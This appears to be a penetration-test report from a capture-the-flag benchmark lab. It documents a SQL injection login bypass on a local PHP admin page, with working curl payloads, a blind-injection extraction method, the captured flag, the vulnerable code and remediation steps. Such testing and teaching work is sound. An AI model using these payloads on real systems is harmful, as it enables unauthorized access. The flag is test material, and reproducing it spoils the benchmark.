# Injection Exploitation Evidence

## Successfully Exploited Vulnerabilities

### INJ-VULN-01: SQL Injection Authentication Bypass in Admin Login

**Summary:**
- **Vulnerable location:** POST /admin.php - username parameter
- **Overview:** Classic SQL injection vulnerability in authentication query allowing complete authentication bypass without valid credentials
- **Impact:** Complete administrative access achieved, flag captured, full database enumeration performed
- **Severity:** Critical

**Prerequisites:**
- Network access to http://localhost:39001
- No authentication required (exploiting unauthenticated endpoint)
- No special tools required (curl sufficient for basic exploitation)

**Exploitation Steps:**

1. **Confirm SQL Injection Vulnerability**
   
   Send POST request with single quote in username parameter to induce SQL error:
   ```bash
   curl -X POST http://localhost:39001/admin.php \
     -d "username=admin'&password=test"
   ```
   
   **Expected Result:** PHP Notice about `num_rows` property error, confirming SQL syntax error
   
   **Actual Result:** Received PHP notice: `Trying to get property 'num_rows' of non-object in /var/www/html/admin.php on line 23`

2. **Bypass Authentication Using Boolean-Based SQL Injection**
   
   Use classic OR-based authentication bypass with hash comment:
   ```bash
   curl -X POST http://localhost:39001/admin.php \
     -d "username=admin' OR '1'='1' %23&password=anything" \
     -c cookies.txt
   ```
   
   **Explanation:**
   - Payload: `admin' OR '1'='1' #`
   - URL-encoded `#` as `%23` for proper transmission
   - Resulting SQL query: `SELECT id FROM admins WHERE username='admin' OR '1'='1' #' AND password='...'`
   - The `OR '1'='1'` condition is always TRUE
   - The `#` comment symbol ignores the password check
   - Query returns at least 1 row, satisfying authentication logic
   
   **Result:** Authentication bypassed successfully, session established

3. **Capture Flag**
   
   Upon successful authentication, the application immediately displays the flag:
   ```
   FLAG{476c383c9464c333394d551fcd5fd72c32d33e4fba66e075015ebbd0879bcc5f}
   ```

4. **Enumerate Database Version and Metadata Using Blind SQL Injection**
   
   Created Python script for automated Boolean-based blind SQL injection:
   
   **Script Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-039-24/blind_sqli_extract.py`
   
   **Technique:**
   - Use payload: `admin' AND (condition) #`
   - Flag presence in response = TRUE condition
   - No flag = FALSE condition
   - Extract strings character-by-character using `SUBSTRING()` and `ASCII()`
   
   **Execution:**
   ```bash
   python3 blind_sqli_extract.py
   ```
   
   **Extracted Data:**
   - Database Version: `5.7.44`
   - Current Database: `blogDB`
   - Current User: `user@10.89.90.3`
   - Tables: `admins`, `comments`, `posts`

5. **Alternative: UNION-Based Data Extraction**
   
   The injection also supports UNION-based queries for faster enumeration:
   ```bash
   curl -X POST http://localhost:39001/admin.php \
     -d "username=admin' AND 1=2 UNION SELECT version() %23&password=x"
   ```
   
   **Note:** UNION queries that return exactly 1 row bypass authentication and display the flag, but don't show the queried data. The blind SQL injection approach is more effective for data extraction.

**Proof of Impact:**

1. **Authentication Bypass Confirmed:**
   - Successfully logged into admin panel without valid credentials
   - Bypassed MD5 password verification completely
   - Session cookie `PHPSESSID` established with admin privileges

2. **Flag Captured:**
   ```
   FLAG{476c383c9464c333394d551fcd5fd72c32d33e4fba66e075015ebbd0879bcc5f}
   ```

3. **Database Fingerprinting Complete:**
   - MySQL 5.7.44 identified
   - Database structure enumerated (3 tables: admins, comments, posts)
   - Current user identified: `user@10.89.90.3`
   - Database name confirmed: `blogDB`

4. **Complete System Compromise:**
   - Full administrative access achieved
   - Complete database enumeration capability demonstrated
   - No WAF or defensive controls present
   - Application displays verbose error messages aiding exploitation

**Technical Analysis:**

**Vulnerable Code:**
```php
// File: /app/html/admin.php, Lines 17-21
$username = $_POST['username'];  // Line 17: No sanitization
$password = MD5($_POST['password']);  // Line 18: MD5 hash (provides accidental SQL injection protection)

// Line 20: Direct string concatenation - CRITICAL VULNERABILITY
$sql = "SELECT id FROM admins WHERE username = '$username' AND password = '$password'";
$result = $conn->query($sql);  // Line 21: Query execution
```

**Why Vulnerable:**
- No input validation on `$username` parameter
- No use of prepared statements or parameterized queries
- Direct string concatenation allows quote-breaking
- Boolean logic in WHERE clause exploitable via OR conditions
- Comment injection allows bypassing password check

**Why Password Parameter is Not Exploitable:**
- MD5 hash function constrains output to `[0-9a-f]{32}` format
- Cannot inject SQL metacharacters through MD5 output
- This is defense-by-accident, not defense-by-design

**Database Query Flow:**
1. User input: `username=admin' OR '1'='1' #`
2. PHP assigns: `$username = "admin' OR '1'='1' #"`
3. SQL constructed: `SELECT id FROM admins WHERE username='admin' OR '1'='1' #' AND password='...'`
4. MySQL executes: Comment (`#`) ignores password clause
5. Query becomes: `SELECT id FROM admins WHERE username='admin' OR '1'='1'`
6. `OR '1'='1'` is always TRUE → returns rows from admins table
7. PHP checks: `$result->num_rows == 1` → TRUE
8. Session set: `$_SESSION['admin_logged_in'] = true`
9. Flag displayed immediately

**Notes:**

**Additional Vulnerabilities Discovered:**
- No rate limiting on authentication attempts
- Session fixation possible (no `session_regenerate_id()` after login)
- Missing security flags on cookies (HttpOnly, Secure, SameSite)
- Verbose error messages expose application internals
- No HTTPS/TLS encryption

**Defensive Measures Absent:**
- No Web Application Firewall (WAF)
- No input validation or sanitization
- No prepared statements anywhere in codebase
- No SQL injection detection or blocking
- No security headers (CSP, X-Frame-Options, etc.)

**Remediation Required:**
1. Implement prepared statements: `$stmt = $conn->prepare("SELECT id FROM admins WHERE username = ? AND password = ?");`
2. Use `password_hash()` and `password_verify()` instead of MD5
3. Add rate limiting on authentication endpoint
4. Implement session regeneration: `session_regenerate_id(true);`
5. Set secure cookie flags: HttpOnly, Secure, SameSite
6. Enable HTTPS/TLS encryption
7. Add input validation and output encoding
8. Implement proper error handling (no verbose errors to users)
